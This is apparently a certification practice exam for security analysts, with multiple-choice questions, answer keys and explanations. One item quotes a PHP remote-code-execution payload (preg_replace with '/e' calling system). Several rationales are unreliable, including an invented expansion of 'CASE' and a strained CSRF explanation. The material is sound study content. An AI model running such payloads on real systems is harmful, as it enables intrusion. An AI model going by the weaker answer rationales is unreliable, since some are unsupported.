B. Implement MFA requirements for all internal resources
C. Harden systems by disabling or removing unnecessary services
D. Implement controls to block execution of untrusted applications
Correct Answer: C
To reduce the rate of success of adversary privilege escalation attempts, the most effective control would be C. Harden systems by disabling or removing unnecessary services. By minimizing the attack surface and limiting the number of running services, you can significantly reduce the opportunities for adversaries to exploit vulnerabilities or escalate privileges.
While the other options (A, B, and D) are important security measures, they do not directly address the specific threat of privilege escalation via native Windows tools. Here’s a brief overview of each option:
A. Set user account control protection to the most restrictive level on all devices: This helps prevent unauthorized changes to system settings, but it doesn’t specifically target privilege escalation via native tools.
B. Implement MFA requirements for all internal resources: Multi-factor authentication (MFA) enhances security, but it primarily focuses on user authentication rather than system hardening.
D. Implement controls to block execution of untrusted applications: While this is a good practice, it doesn’t directly address the use of native Windows tools for privilege escalation.
After completing a review of network activity, the threat hunting team discovers a device on the network that sends an outbound email via a mail client to a non-company email address daily at 10:00 p.m. Which of the following is potentially occurring?
A. Irregular peer-to-peer communication
B. Rogue device on the network
C. Abnormal OS process behavior
D. Data exfiltration
Correct Answer: D
Based on the information provided, the most likely scenario is D. Data exfiltration. The consistent outbound emails to a non-company address at a specific time could indicate an attempt to transfer sensitive data from the organization. It’s essential to investigate further to confirm this suspicion and take appropriate action to prevent any potential data breaches.
A web application team notifies a SOC analyst that there are thousands of HTTP/404 events on the public-facing web server. Which of the following is the next step for the analyst to take?
A. Instruct the firewall engineer that a rule needs to be added to block this external server
B. Escalate the event to an incident and notify the SOC manager of the activity
C. Notify the incident response team that there is a DDoS attack occurring
D. Identify the IP/hostname for the requests and look at the related activity
Correct Answer: D
The next step for the SOC analyst would be to identify the IP/hostname for the requests and look at the related activity. This involves investigating the source of the HTTP/404 events to understand their origin and potential impact. By analyzing the IP addresses or hostnames associated with these events, the analyst can gain insights into whether this is a legitimate issue or a potential security threat. Once the source is identified, further actions can be taken as needed
Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system application, or user base is affected by an uptime availability outage?
A. Timeline
B. Evidence
C. Impact
D. Scope
Correct Answer: C
The reporting metric that should be utilized when measuring the degree to which a system, application, or user base is affected by an uptime availability outage is “Impact”. This metric assesses the severity and consequences of the outage on the affected components, users, or services. By understanding the impact, organizations can prioritize recovery efforts and allocate resources effectively. Remember, impact measurement considers both the extent and severity of the disruption caused by the outage.
A security analyst needs to provide evidence of regular vulnerability scanning on the company’s network for an auditing process. Which of the following is an example of a tool that can produce such evidence?
A. OpenVAS
B. Burp Suite
C. Nmap
D. Wiresharka
Correct Answer: A
OpenVAS (Open Vulnerability Assessment Scanner)
When it comes to vulnerability scanning tools, OpenVAS is an excellent choice for producing evidence of regular vulnerability scans.
It’s an open-source solution that assesses computers, networks, or applications for vulnerabilities and security weaknesses. By systematically scanning for these weaknesses, OpenVAS helps organizations understand their exposure to potential security threats and provides a pathway to remediate identified issues, thereby enhancing the security posture.
An organization receives a legal hold request from an attorney. The request pertains to emails related to a disputed vendor contract. Which of the following is the best step for the security team to take to ensure compliance with the request?
A. Publicly disclose the request to other vendors
B. Notify the departments involved to preserve potentially relevant information
C. Establish a chain of custody starting with the attorney’s request
D. Back up the mailboxes on the server and provide the attorney with a copy
Correct Answer: B
Notifying the departments involved to preserve potentially relevant information is a crucial initial step.
By doing so, the organization ensures that relevant data is safeguarded before establishing a formal chain of custody.
Once the data is secured, the subsequent steps can focus on maintaining a clear and documented chain of custody in compliance with the legal hold request.
Which of the following best describes the actions taken by an organization after the resolution of an incident that addresses issues and reflects on the growth opportunities for future incidents?
A. Lessons learned
B. Scrum review
C. Root cause analysis
D. Regulatory compliance
Correct Answer: A
After the resolution of an incident, the organization engages in a process known as “lessons learned.” This involves reflecting on the incident, identifying areas for improvement, and capturing insights to enhance future incident response. By analyzing what went well and what could be done better, the organization grows and strengthens its incident management practices.
An analyst is becoming overwhelmed with the number of events that need to be investigated for a timeline. Which of the following should the analyst focus on in order to move the incident forward?
A. Impact
B. Vulnerability score
C. Mean time to detect
D. Isolation
Correct Answer: A
To move the incident forward, the analyst should focus on the “Impact.”
Understanding the severity and consequences of the events is crucial for prioritizing investigations and allocating resources effectively.
By assessing impact, the analyst can address critical issues promptly and manage the workload more efficiently.
To minimize the impact of a security incident, a cybersecurity analyst has configured audit settings in the organization’s cloud services. Which of the following security controls has the analyst configured?
A. Preventive
B. Corrective
C. Directive
D. Detective
Correct Answer: D
The security control that the analyst has configured by adjusting audit settings in the organization’s cloud services is “Detective.” These settings allow the organization to monitor and identify potential security incidents by collecting relevant logs and data. By detecting anomalies or suspicious activities, the organization can respond promptly and mitigate risks.
Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?
A. MOU
B. NDA
C. BIA
D. SLA
Correct Answer: D
The contract that defines the various levels of maintenance to be provided by an external business vendor in a secure environment is known as a Service Level Agreement (SLA). An SLA outlines the specific services, performance expectations, and responsibilities between the organization and the vendor. It ensures clarity regarding maintenance, uptime, and support levels, helping establish a strong working relationship.
A security team is concerned about recent Layer 4 DDoS attacks against the company website. Which of the following controls would best mitigate the attacks?
A. Block the attacks using firewall rules
B. Deploy an IPS in the perimeter network
C. Roll out a CDN
D. Implement a load balancer
Correct Answer: B
Given the context of Layer 4 DDoS attacks, deploying an IPS (Option B) would be the most effective control. It can actively detect and block malicious traffic, providing better protection against such attacks:
A. Block the attacks using firewall rules (Option A): While firewalls can help filter traffic, they are not specifically designed to handle DDoS attacks efficiently. They might become overwhelmed during large-scale attacks.
B. Deploy an Intrusion Prevention System (IPS) in the perimeter network (Option B): An IPS can detect and block malicious traffic, including DDoS attacks. It’s a better choice than firewalls for this purpose.
C. Roll out a Content Delivery Network (CDN) (Option C): CDNs distribute content across multiple servers, reducing the impact of DDoS attacks by distributing the load. However, CDNs are more effective against Layer 7 attacks (application layer) rather than Layer 4 attacks.
D. Implement a load balancer (Option D): Load balancers distribute incoming traffic across multiple servers, preventing any single server from being overwhelmed. While they can help with DDoS attacks, they are more effective against Layer 7 attacks.
An organization needs to bring in data collection and aggregation from various endpoints. Which of the following is the best tool to deploy to help analysts gather this data?
A. DLP
B. NAC
C. EDR
D. NIDS
Correct Answer: C
The best tool to deploy for data collection and aggregation from various endpoints is Endpoint Detection and Response (EDR).
EDR tools provide real-time monitoring and collection of endpoint data, allowing analysts to rapidly detect, investigate, and remediate threats. They collect large amounts of data from endpoint devices and use various data analytics techniques to identify patterns that indicate a threat. This makes EDR tools highly effective for security data aggregation.
Therefore, the correct answer is C. EDR.
A regulated organization experienced a security breach that exposed a list of customer names with corresponding PII data. Which of the following is the best reason for developing the organization’s communication plans?
A. For the organization’s public relations department to have a standard notification
B. To ensure incidents are immediately reported to a regulatory agency
C. To automate the notification to customers who were impacted by the breach
D. To have approval from executive leadership on when communication should occur
Correct Answer: D
In regulated organizations, compliance with regulatory requirements is indeed crucial. However, the need for executive leadership approval in communication plans stems from several factors:
Coordination and Consistency: Having executive approval ensures that communication is consistent across all channels (internal, external, and public relations). It prevents conflicting messages and ensures a unified approach.
Risk Assessment: Executive leadership considers the potential impact of the breach, legal implications, and reputational risks. Their approval ensures that communication aligns with the organization’s risk tolerance.
Timeliness: While regulatory agencies provide guidelines, the specific timing of communication may vary based on the incident’s severity. Executive leadership can assess the situation and decide when to notify affected parties.
Legal and Financial Implications: Executive approval ensures that legal and financial considerations are addressed. For instance, notifying customers promptly may mitigate legal liabilities.
In summary, while regulatory agencies set guidelines, executive leadership plays a critical role in determining the timing and approach of communication during security incidents.
Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following authentication methods should the analyst use?
A. MFA
B. User and password
C. PAM
D. Key pair
Correct Answer: D
For downloading the configuration of cloud assets, the security analyst should use key pair authentication (option D).
This method provides strong security by using public and private keys to authenticate and establish a secure connection. It’s commonly used for secure access to cloud resources.
- MFA (option A) is an additional layer of security but isn’t directly related to asset configuration downloads.
- User and password (option B) and PAM (option C) are less secure for this purpose.
Two employees in the finance department installed a freeware application that contained embedded malware. The network is robustly segmented based on areas of responsibility. These computers had critical sensitive information stored locally that needs to be recovered. The department manager advised all department employees to turn off their computers until the security team could be contacted about the issue. Which of the following is the first step the incident response staff members should take when they arrive?
A. Turn on all systems, scan for infection, and back up data to a USB storage device.
B. Identify and remove the software installed on the impacted systems in the department.
C. Explain that malware cannot truly be removed and then reimage the devices.
D. Log on to the impacted systems with an administrator account that has privileges to perform backups.
E. Segment the entire department from the network and review each computer offline.
Correct Answer: E
Given the situation, the first step the incident response staff members should take when they arrive is E. Segment the entire department from the network and review each computer offline.
Segmentation: Since the network is robustly segmented based on areas of responsibility, it’s crucial to isolate the affected department from the rest of the network. This prevents the malware from spreading further and affecting other systems.
Offline Review: By reviewing each computer offline (i.e., without network connectivity), the incident response team can assess the extent of the infection, identify compromised systems, and determine the nature of the malware. They can also collect evidence for further analysis.
The other options have potential issues:
- A: Turning on all systems and scanning for infection could inadvertently spread the malware.
- B: Identifying and removing software might not be effective if the malware is deeply embedded.
- C: Reimaging devices without understanding the malware’s behavior may not prevent reinfection.
- D: Logging in with an administrator account could expose the incident response team to risks.
A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment. Which of the following must be considered to ensure the consultant does no harm to operations?
A. Employing Nmap Scripting Engine scanning techniques
B. Preserving the state of PLC ladder logic prior to scanning
C. Using passive instead of active vulnerability scans
D. Running scans during off-peak manufacturing hours
Correct Answer: C
To ensure the third-party consultant does no harm to operations while assessing the OT network, the following considerations should be taken into account:
Using passive instead of active vulnerability scans: Passive scans observe network traffic without actively probing or sending requests. This approach minimizes disruption to fragile and legacy equipment, reducing the risk of unintended consequences during the assessment.
Preserving the state of PLC ladder logic (Option B) is essential for maintaining operational stability, but it’s not directly related to the consultant’s scanning techniques. Similarly, running scans during off-peak hours (Option D) is a good practice, but it doesn’t specifically address the risk of harm. Employing Nmap Scripting Engine techniques (Option A) may be useful, but it’s not the primary consideration for avoiding harm to operations.
Therefore, the best choice is C. Using passive instead of active vulnerability scans. This approach allows assessment without disrupting critical systems.
A team of analysts is developing a new internal system that correlates information from a variety of sources, analyzes that information, and then triggers notifications according to company policy. Which of the following technologies was deployed?
A. SIEM
B. SOAR
C. IPS
D. CERT
Correct Answer: A
The technology that best fits the description of correlating information from various sources, analyzing it, and triggering notifications based on company policy is Security Information and Event Management (SIEM).
SIEM systems collect and correlate data from network sensors, application logs, and host logs to detect security incidents and provide alerts. They play a crucial role in monitoring and managing security events within an organization.
A. SIEM is the correct answer.
B. SOAR (Security Orchestration, Automation, and Response) focuses on automating incident response processes but doesn’t necessarily correlate information from various sources.
C. IPS (Intrusion Prevention System) is designed to prevent and block malicious network traffic but doesn’t handle information correlation.
D. CERT (Computer Emergency Response Team) is an incident response team within an organization, not a technology for correlating information.
Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?
A. Install a firewall.
B. Implement vulnerability management.
C. Deploy sandboxing.
D. Update the application blocklist.
Correct Answer: B
To mitigate the effects of a new ransomware attack that bypassed the company antivirus, implementing vulnerability management would be the most effective approach.
Firewall (Option A): Firewalls control network traffic based on predefined rules. While they are essential for network security, they primarily focus on filtering incoming and outgoing traffic. They won’t directly address an ongoing ransomware attack that has already infiltrated the network.
Vulnerability Management (Option B): This approach involves identifying and addressing vulnerabilities in software, systems, and applications. By regularly scanning for vulnerabilities, applying patches, and updating software, you can reduce the attack surface and prevent exploitation by ransomware.
Sandboxing (Option C): Sandboxing isolates suspicious files or processes in a controlled environment to analyze their behavior. While it’s useful for detecting malware, it’s not a direct mitigation strategy for an ongoing attack.
Application Blocklist (Option D): Maintaining an application blocklist helps prevent unauthorized or malicious software from running. However, it won’t stop an active ransomware attack that has already infiltrated the system.
In summary, vulnerability management is the most relevant and proactive measure to address an ongoing ransomware attack. It focuses on identifying and fixing vulnerabilities, reducing the risk of successful exploitation.
A Chief Information Security Officer wants to implement security by design, starting with the implementation of a security scanning method to identify vulnerabilities, including SQL injection, RFI, XSS, etc. Which of the following would most likely meet the requirement?
A. Reverse engineering
B. Known environment testing
C. Dynamic application security testing
D. Code debugging
Correct Answer: C
For identifying vulnerabilities, including SQL injection, RFI, and XSS, the most suitable approach would be dynamic application security testing (DAST).
DAST involves scanning applications in their running state to identify security flaws and vulnerabilities. It checks for issues like input validation errors, insecure configurations, and common attack vectors. By actively probing the application, DAST helps discover vulnerabilities that could be exploited by attackers. Other options like reverse engineering, known environment testing, and code debugging are not specifically designed for vulnerability identification in the same way as DAST1. So, I recommend choosing option C: Dynamic application security testing.
After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASE to reduce analyst alert fatigue. Which of the following is the best possible outcome that this effort hopes to achieve?
A. SIEM ingestion logs are reduced by 20%.
B. Phishing alerts drop by 20%.
C. False positive rates drop to 20%.
D. The MTTR decreases by 20%.
Correct Answer: C
The integration of Data Loss Prevention (DLP) and Cybersecurity Analytics and Security Event (CASE) tools aims to enhance security operations and reduce alert fatigue. Let’s break down the options:
A. SIEM ingestion logs are reduced by 20%: While this could be a positive outcome, it’s not directly related to reducing alert fatigue.
B. Phishing alerts drop by 20%: This is a specific improvement related to threat detection and could contribute to reducing alert fatigue. However, it’s not the best possible outcome.
C. False positive rates drop to 20%: This is a strong contender. Lowering false positives means analysts spend less time investigating non-threatening alerts, which directly addresses alert fatigue.
D. The MTTR (Mean Time to Respond) decreases by 20%: While reducing response time is valuable, it doesn’t directly address alert fatigue.
The most relevant outcome is C. False positive rates drop to 20%. By minimizing false positives, analysts can focus on genuine threats, leading to more efficient and effective incident response
Which of the following threat actors is most likely to target a company due to its questionable environmental policies?
A. Hacktivist
B. Organized crime
C. Nation-state
D. Lone wolf
Correct Answer: A
The threat actor most likely to target a company due to its questionable environmental policies is A. Hacktivist.
Hacktivists are motivated by social or political causes and may engage in cyberattacks to promote their agenda or protest against specific policies or practices. In this case, environmental policies would be a relevant target for hacktivist activity.
A cybersecurity analyst is recording the following details:
ID
Name
Description
Classification of information
Responsible party
In which of the following documents is the analyst recording this information?
A. Risk register
B. Change control documentation
C. Incident response playbook
D. Incident response plan
Correct Answer: A
A risk register is a document used to record information about identified risks within an organization. It typically includes details such as the risk ID, risk name, description of the risk, classification of the risk (e.g., impact and likelihood), and the responsible party for managing or mitigating the risk. Recording this information in a risk register helps organizations systematically manage and prioritize risks to their assets and operations.
A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the following would be the best solution to identify potential loss incurred by an issue?
A. Trends
B. Risk score
C. Mitigation
D. Prioritization
Correct Answer: B
The best solution to identify potential loss incurred by an issue in a reporting process for vulnerability management would be Risk score.
A risk score helps quantify the impact and likelihood of a vulnerability, allowing the SOC manager to prioritize remediation efforts effectively.
While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first?
A. If appropriate logging levels are set
B. NTP configuration on each system
C. Behavioral correlation settings
D. Data normalization rules
Correct Answer: D
In the context of a SIEM setup, data normalization rules are crucial for standardizing and correlating data from various sources.
These rules allow the SIEM to accurately identify patterns and anomalies across different systems. So, while NTP configuration is essential, addressing data normalization rules should be the initial step for effective incident correlation
During a scan of a web server in the perimeter network, a vulnerability was identified that could be exploited over port 3389. The web server is protected by a WAF. Which of the following best represents the change to overall risk associated with this vulnerability?
A. The risk would not change because network firewalls are in use
B. The risk would decrease because RDP is blocked by the firewall
C. The risk would decrease because a web application firewall is in place
D. The risk would increase because the host is external facing
Correct Answer: D
Considering the context, Option D is the most appropriate choice. The risk would increase because the host is externally facing, and the vulnerability over port 3389 poses a significant threat.
A. The risk would not change because network firewalls are in use:
This option doesn’t directly address the vulnerability identified over port 3389.
Network firewalls may not specifically mitigate the vulnerability associated with port 3389.
B. The risk would decrease because RDP is blocked by the firewall:
This option suggests that blocking Remote Desktop Protocol (RDP) would reduce the risk.
However, the vulnerability was identified over port 3389, which is commonly used for RDP.
Blocking RDP might mitigate the specific vulnerability but doesn’t necessarily address other potential risks.
C. The risk would decrease because a web application firewall is in place:
A web application firewall (WAF) is designed to protect web applications from attacks.
While it’s beneficial for web-related vulnerabilities, it may not directly address vulnerabilities over port 3389.
Therefore, this option is less likely to significantly reduce the overall risk associated with the vulnerability.
D. The risk would increase because the host is external facing:
This option acknowledges that the web server is externally accessible.
External-facing servers are more exposed to threats, increasing the overall risk.
The vulnerability identified over port 3389 adds to this risk.
Therefore, this option aligns with the potential impact of the vulnerability.
Several vulnerability scan reports have indicated runtime errors as the code is executing. The dashboard that lists the errors has a command-line interface for developers to check for vulnerabilities. Which of the following will enable a developer to correct this issue? (Choose two.)
A. Performing dynamic application security testing
B. Reviewing the code
C. Fuzzing the application
D. Debugging the code
E. Implementing a coding standard
F. Implementing IDS
Correct Answer: B, D
Reviewing the Code (Option B):
- Developers should carefully examine the code to identify any logical or syntactical errors. This involves analyzing the code line by line, checking for inconsistencies, missing semicolons, incorrect variable assignments, and other issues.
- By reviewing the code thoroughly, developers can catch errors early in the development process and ensure that the code adheres to best practices.
Debugging the Code (Option D):
- Debugging involves identifying and fixing errors in the code. Developers use debugging tools (such as breakpoints, logging, or step-by-step execution) to trace the flow of the program and pinpoint the exact location of errors.
- Debugging helps identify issues related to incorrect data, unexpected behavior, or exceptions during runtime.
Common debugging techniques include using print statements, analyzing stack traces, and using integrated development environments (IDEs) with debugging features.
While other options (such as dynamic application security testing, fuzzing, implementing a coding standard, and implementing intrusion detection systems) are valuable for security and quality assurance, they do not directly address runtime errors in the code. Therefore, options B (Reviewing the code) and D (Debugging the code) are the most relevant for resolving this issue.
A cybersecurity team has witnessed numerous vulnerability events recently that have affected operating systems. The team decides to implement host-based IPS, firewalls and two-factor authentication. Which of the following does this most likely describe?
A. System hardening
B. Hybrid network architecture
C. Continuous authorization
D. Secure access service edge
Correct Answer: A
The actions described—implementing host-based IPS (Intrusion Prevention Systems), firewalls, and two-factor authentication—are measures to protect and secure a computer system from vulnerabilities and unauthorized access.
These measures are most likely related to System hardening. System hardening involves implementing security measures to reduce the potential attack surface of a system, which is consistent with the deployment of the security controls mentioned.
A security analyst needs to secure digital evidence related to an incident. The security analyst must ensure that the accuracy of the data cannot be repudiated. Which of the following should be implemented?
A. Offline storage
B. Evidence collection
C. Integrity validation
D. Legal hold
Correct Answer: C
This process typically involves using cryptographic hashes to verify that the data has not been altered, ensuring its authenticity and integrity. Offline storage, evidence collection, and legal hold are also important aspects of handling digital evidence, but integrity validation is key to preventing repudiation.
A cybersecurity analyst is doing triage in a SIEM and notices that the time stamps between the firewall and the host under investigation are off by 43 minutes. Which of the following is the most likely scenario occurring with the time stamps?
A. The NTP server is not configured on the host
B. The cybersecurity analyst is looking at the wrong information
C. The firewall is using UTC time
D. The host with the logs is offline
Correct Answer: A
Given the scenario, the most likely explanation for the discrepancy in time stamps is:
A. The NTP server is not configured on the host
This is because a 43-minute difference suggests a significant time drift, which is often due to the host not being synchronized with a Network Time Protocol (NTP) server. Proper NTP configuration ensures that all devices on the network have synchronized time, which is crucial for accurate log correlation and incident analysis.
A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account. Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?
A. Scan the employee’s computer with virus and malware tools
B. Review the actions taken by the employee and the email related to the event
C. Contact human resources and recommend the termination of the employee
D. Assign security awareness training to the employee involved in the incident
Correct Answer: B
One of the first actions the incident response team should take when they receive notification of a phishing attack is to review the actions taken by the employee and the email related to the event (Option B).
This step is crucial for understanding the scope of the incident, identifying any potential security breaches, and gathering evidence for further investigation.
A security analyst has found the following suspicious DNS traffic while analyzing a packet capture:
DNS traffic while a tunneling session is active.
The mean time between queries is less than one second.
The average query length exceeds 100 characters.
Which of the following attacks most likely occurred?
A. DNS exfiltration
B. DNS spoofing
C. DNS zone transfer
D. DNS poisoning
Correct Answer: A
Given the characteristics of the suspicious DNS traffic you described, the most likely attack is DNS exfiltration (A).
DNS traffic during a tunneling session: This suggests that DNS is being used to tunnel data.
Mean time between queries is less than one second: This indicates a high frequency of DNS queries, which is unusual for normal DNS traffic.
Average query length exceeds 100 characters: This suggests that the DNS queries are carrying more data than typical DNS queries, which is a common sign of data exfiltration.
DNS exfiltration involves using DNS queries and responses to transfer data covertly from a compromised system to an attacker-controlled server. This method leverages the DNS protocol to bypass traditional security measures.
A small company does not have enough staff to effectively segregate duties to prevent error and fraud in payroll management. The Chief Information Security Officer (CISO) decides to maintain and review logs and audit trails to mitigate risk. Which of the following did the CISO implement?
A. Corrective controls
B. Compensating controls
C. Operational controls
D. Administrative controls
Correct Answer: B
The CISO implemented B. Compensating controls.
Compensating controls are alternative measures put in place to satisfy the requirement for a security control when the primary control is not feasible. In this case, maintaining and reviewing logs and audit trails compensates for the lack of staff to segregate duties
During the log analysis phase, the following suspicious command is detected:
<?php preg_replace(‘/./e’, ‘system(“ping -c 4 10.0.0.1”);’, ‘’); ?>
Which of the following is being attempted?
A. Buffer overflow
B. RCE
C. ICMP tunneling
D. Smurf attack
Correct Answer: B
The suspicious command you provided is attempting to execute a system command through PHP code. This is indicative of a Remote Code Execution (RCE) attempt.
preg_replace(‘/./e’, ‘system(“ping -c 4 10.0.0.1”);’, ‘’);:
- The preg_replace function is used for regular expression-based search and replace.
- The /e modifier in the regular expression tells PHP to evaluate the replacement string as PHP code.
system(“ping -c 4 10.0.0.1”);:
- The system function in PHP executes an external program (in this case, the ping command) and displays the output.
Evaluation:
- The /e modifier causes the replacement string (system(“ping -c 4 10.0.0.1”);) to be executed as PHP code.
- This means that the system function will run the ping command, effectively allowing the execution of arbitrary system commands.
This combination of using preg_replace with the /e modifier and the system function is a classic example of an RCE vulnerability, where an attacker can execute arbitrary commands on the server.
An email hosting provider added a new data center with new public IP addresses. Which of the following most likely needs to be updated to ensure emails from the new data center do not get blocked by spam filters?
A. DKIM
B. SPF
C. SMTP
D. DMARC
Correct Answer: B
To ensure emails from the new data center do not get blocked by spam filters, the most likely record that needs to be updated is the SPF (Sender Policy Framework) record.
SPF records specify which IP addresses are authorized to send emails on behalf of your domain, and updating it with the new public IP addresses of the data center will help prevent emails from being marked as spam.
A laptop that is company owned and managed is suspected to have malware. The company implemented centralized security logging. Which of the following log sources will confirm the malware infection?
A. XDR logs
B. Firewall logs
C. IDS logs
D. MFA logs
Correct Answer: A
Extended Detection and Response (XDR) logs provide a comprehensive view of enterprise activity by collecting and correlating data across multiple security layers, such as email, endpoint, server, cloud workloads, and network.
This makes XDR logs the most effective source for confirming malware infections.
Which of the following best describes the goal of a disaster recovery exercise as preparation for possible incidents?
A. To provide metrics and test continuity controls
B. To verify the roles of the incident response team
C. To provide recommendations for handling vulnerabilities
D. To perform tests against implemented security controls
Correct Answer: A
The goal of a disaster recovery exercise is primarily to provide metrics and test continuity controls. This helps ensure that an organization can maintain operations during and after a disaster by validating the effectiveness of its continuity plans and identifying areas for improvement.
So, the correct answer is A. To provide metrics and test continuity controls.
A security analyst has prepared a vulnerability scan that contains all of the company’s functional subnets. During the initial scan users reported that network printers began to print pages that contained unreadable text and icons. Which of the following should the analyst do to ensure this behavior does not occur during subsequent vulnerability scans?
A. Perform non-credentialed scans
B. Ignore embedded web server ports
C. Create a tailored scan for the printer subnet
D. Increase the threshold length of the scan timeout
Correct Answer: C
To prevent network printers from printing unreadable text and icons during subsequent vulnerability scans, the analyst should create a tailored scan for the printer subnet (Option C). This approach allows the analyst to customize the scan settings specifically for the printer subnet, avoiding unnecessary disruptions to the printers while still ensuring a thorough vulnerability assessment.
A Chief Information Security Officer has outlined several requirements for a new vulnerability scanning project:
Must use minimal network bandwidth
Must use minimal host resources
Must provide accurate, near real-time updates
Must not have any stored credentials in configuration on the scanner
Which of the following vulnerability scanning methods should be used to best meet these requirements?
A. Internal
B. Agent
C. Active
D. Uncredentialed
Correct Answer: B
Given the requirements outlined by the Chief Information Security Officer, the best vulnerability scanning method to use would be B. Agent.
Minimal network bandwidth: Agent-based scanning typically uses less network bandwidth because the agents run locally on the hosts and only send the results back to the central server.
Minimal host resources: Modern agents are designed to be lightweight and have minimal impact on host resources.
Accurate, near real-time updates: Agents can provide continuous monitoring and real-time updates as they are always running on the host.
No stored credentials: Agent-based scanning does not require stored credentials on the scanner, as the agents have the necessary permissions to perform scans on their respective hosts.
This method aligns well with the requirements for minimal network and host resource usage, real-time updates, and no stored credentials.
An employee is no longer able to log in to an account after updating a browser. The employee usually has several tabs open in the browser. Which of the following attacks was most likely performed?
A. RFI
B. LFI
C. CSRF
D. XSS
Correct Answer: C
Given the scenario where an employee is unable to log in after updating their browser and typically has multiple tabs open, the most likely attack is C. CSRF (Cross-Site Request Forgery).
CSRF attacks exploit the trust that a site has in a user’s browser. When a user is authenticated and has multiple tabs open, an attacker can trick the browser into making unauthorized requests to a different site where the user is authenticated. This can lead to actions being performed without the user’s consent, such as changing account settings or making transactions.
Which of the following does “federation” most likely refer to within the context of identity and access management?
A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
C. Utilizing a combination of what you know who you are, and what you have to grant authentication to a user
D. Correlating one’s identity with the attributes and associated applications the user has access to
Correct Answer: B
Federation enables single sign-on (SSO) across multiple domains, enhancing user experience and security by allowing users to access various resources with a single set of credentials.
A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access - This describes role-based access control (RBAC) rather than federation.
B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains - This is the correct definition of federation. It allows users to access multiple systems or domains using a single set of credentials, often through single sign-on (SSO).
C. Utilizing a combination of what you know who you are, and what you have to grant authentication to a user - This describes multi-factor authentication (MFA), which involves using multiple methods to verify a user’s identity.
D. Correlating one’s identity with the attributes and associated applications the user has access to. This is more aligned with identity management and attribute-based access control (ABAC), not specifically federation.
The Chief Information Security Officer for an organization recently received approval to install a new EDR solution. Following the installation, the number of alerts that require remediation by an analyst has tripled.
Which of the following should the organization utilize to best centralize the workload for the internal security team? (Choose two)
A. SOAR
B. SIEM
C. MSP
D. NGFW
E. XDR
F. DLP
Correct Answer: A, B
To best centralize the workload for the internal security team after the installation of a new EDR solution, the organization should utilize SOAR and SIEM.
A. SOAR (Security Orchestration, Automation, and Response)
- Automation: SOAR platforms can automate repetitive tasks, such as alert triage and incident response, reducing the manual workload on analysts.
- Orchestration: They integrate with various security tools, including EDR, to streamline and coordinate responses across different systems.
- Response: SOAR can help in creating playbooks for common incidents, ensuring consistent and efficient handling of alerts.
B. SIEM (Security Information and Event Management)
- Centralized Logging: SIEM solutions collect and analyze log data from multiple sources, including EDR, providing a centralized view of security events.
- Correlation: They correlate events from different sources to identify potential threats, reducing the number of false positives and prioritizing alerts that need immediate attention.
- Real-time Monitoring: SIEM provides real-time monitoring and alerting, helping analysts to quickly identify and respond to incidents.
These tools together can significantly enhance the efficiency and effectiveness of the internal security team by automating processes and providing a centralized view of security events.
C. MSP (Managed Service Provider)
- Outsourcing: MSPs provide outsourced IT services, including security. While they can help manage security tasks,* they don’t centralize the workload internally. Instead, they shift it to an external provider, which might not align with the goal of centralizing within the internal team*.
D. NGFW (Next-Generation Firewall)
Network Security: NGFWs focus on network security by providing advanced filtering capabilities, intrusion prevention, and application awareness. They don’t centralize or manage alerts from EDR solutions or other security tools, so they wouldn’t help in reducing the internal team’s workload.
E. XDR (Extended Detection and Response)
- Integration: XDR integrates multiple security products into a unified platform, which can help in detecting and responding to threats. However, it might overlap with the existing EDR solution and doesn’t specifically centralize the workload for the internal team as effectively as SOAR and SIEM.
F. DLP (Data Loss Prevention)
- Data Protection: DLP solutions focus on preventing data breaches by monitoring and controlling data transfers. While important, they don’t centralize or manage alerts from EDR solutions, so they wouldn’t address the increased workload on the internal security team.
Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?
A. Hacktivist threat
B. Advanced persistent threat
C. Unintentional insider threat
D. Nation-state threat
Correct Answer: C
Unintentional insider threat. This concept involves ensuring that network users only open attachments from known sources to prevent accidental exposure to malicious content. This type of threat arises when employees or users unintentionally compromise security, often due to a lack of awareness or training.
A security analyst has received an incident case regarding malware spreading out of control on a customer’s network. The analyst is unsure how to respond. The configured EDR has automatically obtained a sample of the malware and its signature.
Which of the following should the analyst perform next to determine the type of malware based on its telemetry?
A. Cross-reference the signature with open-source threat intelligence.
B. Configure the EDR to perform a full scan.
C. Transfer the malware to a sandbox environment.
D. Log in to the affected systems and run netstat.
Correct Answer: A
Open-source threat intelligence can help determine the type of malware based on its telemetry.
By cross-referencing the malware’s signature and behavioral patterns with known threat intelligence databases, analysts can quickly identify if the malware matches any known threats. This process can provide valuable insights into the malware’s characteristics, origin, and potential impact.
However, while open-source threat intelligence is a powerful tool for initial identification, it may not always provide a complete picture, especially for new or highly sophisticated malware. In such cases, additional analysis, such as running the malware in a sandbox environment, is necessary to fully understand its behavior and develop effective countermeasures.
A network analyst notices a long spike in traffic on port 1433 between two IP addresses on opposite sides of a WAN connection. Which of the following is the most likely cause?
A. A local red team member is enumerating the local RFC1918 segment to enumerate hosts
B. A threat actor has a foothold on the network and is sending out control beacons
C. An administrator executed a new database replication process without notifying the SOC
D. An insider threat actor is running Responder on the local segment, creating traffic replication
Correct Answer: C
Given the specifics of the scenario, the most likely cause of the spike in traffic on port 1433 (which is commonly used by Microsoft SQL Server) is:
C. An administrator executed a new database replication process without notifying the SOC
This is because port 1433 is typically associated with database activities, and a significant increase in traffic could indicate a large data transfer, such as a database replication process. This scenario fits well with the observed traffic pattern and the nature of the port involved.
Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?
A. Risk register
B. Vulnerability assessment
C. Penetration test
D. Compliance report
Correct Answer: A
A. Risk Register
